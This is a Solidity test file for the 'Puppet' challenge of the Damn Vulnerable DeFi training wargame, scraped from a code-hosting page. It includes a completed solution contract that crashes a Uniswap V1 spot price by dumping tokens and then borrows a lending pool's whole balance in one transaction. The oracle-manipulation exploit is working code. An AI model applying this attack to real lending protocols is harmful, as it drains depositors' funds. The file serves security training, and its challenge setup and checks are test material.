-
Notifications
You must be signed in to change notification settings - Fork 115
/
Puppet.t.sol
146 lines (120 loc) · 5.87 KB
/
Puppet.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetPool} from "../../src/puppet/PuppetPool.sol";
import {IUniswapV1Exchange} from "../../src/puppet/IUniswapV1Exchange.sol";
import {IUniswapV1Factory} from "../../src/puppet/IUniswapV1Factory.sol";
contract PuppetChallenge is Test {
address deployer = makeAddr("deployer");
address recovery = makeAddr("recovery");
address player;
uint256 playerPrivateKey;
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
IUniswapV1Factory uniswapV1Factory;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
(player, playerPrivateKey) = makeAddrAndKey("player");
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy a exchange that will be used as the factory template
IUniswapV1Exchange uniswapV1ExchangeTemplate =
IUniswapV1Exchange(deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV1Exchange.json")));
// Deploy factory, initializing it with the address of the template exchange
uniswapV1Factory = IUniswapV1Factory(deployCode("builds/uniswap/UniswapV1Factory.json"));
uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));
// Deploy token to be traded in Uniswap V1
token = new DamnValuableToken();
// Create a new exchange for the token
uniswapV1Exchange = IUniswapV1Exchange(uniswapV1Factory.createExchange(address(token)));
// Deploy the lending pool
lendingPool = new PuppetPool(address(token), address(uniswapV1Exchange));
// Add initial token and ETH liquidity to the pool
token.approve(address(uniswapV1Exchange), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV1Exchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
block.timestamp * 2 // deadline
);
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(uniswapV1Exchange.factoryAddress(), address(uniswapV1Factory));
assertEq(uniswapV1Exchange.tokenAddress(), address(token));
assertEq(
uniswapV1Exchange.getTokenToEthInputPrice(1e18),
_calculateTokenToEthInputPrice(1e18, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE)
);
assertEq(lendingPool.calculateDepositRequired(1e18), 2e18);
assertEq(lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppet() public checkSolvedByPlayer {
address puppetSolution = vm.computeCreateAddress(player, 0);
token.approve(puppetSolution, type(uint256).max);
new PuppetSolution{value: player.balance}(lendingPool, uniswapV1Exchange, token, recovery);
}
// Utility function to calculate Uniswap prices
function _calculateTokenToEthInputPrice(uint256 tokensSold, uint256 tokensInReserve, uint256 etherInReserve)
private
pure
returns (uint256)
{
return (tokensSold * 997 * etherInReserve) / (tokensInReserve * 1000 + tokensSold * 997);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// All tokens of the lending pool were deposited into the recovery account
assertEq(token.balanceOf(address(lendingPool)), 0, "Pool still has tokens");
assertGe(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}
contract PuppetSolution {
constructor(PuppetPool lendingPool, IUniswapV1Exchange uniswapV1Exchange, DamnValuableToken token, address recovery) payable {
// Selling DVT for ETH, spend all DVT (1000)
// https://docs.uniswap.org/contracts/v1/guides/trade-tokens#amount-bought-sell-order
// Amount Bought (sell order)
uint256 inputAmount = token.balanceOf(msg.sender);
// uint256 outputReserve = token.balanceOf(address(uniswapV1Exchange));
// uint256 inputReserve = address(uniswapV1Exchange).balance;
// uint256 numerator = inputAmount * outputReserve * 997;
// uint256 denominator = inputReserve * 1000 + inputAmount * 997;
// uint256 outputAmount = numerator / denominator;
token.transferFrom(msg.sender, address(this), inputAmount);
token.approve(address(uniswapV1Exchange), type(uint256).max);
uniswapV1Exchange.tokenToEthSwapInput(inputAmount, 1, block.timestamp+1000);
// Borrow all DVT from the pool
uint256 balanceOfPool = token.balanceOf(address(lendingPool));
lendingPool.borrow{value: address(this).balance}(balanceOfPool, recovery);
// Transfer remaining ETH to player
payable(msg.sender).transfer(address(this).balance);
}
}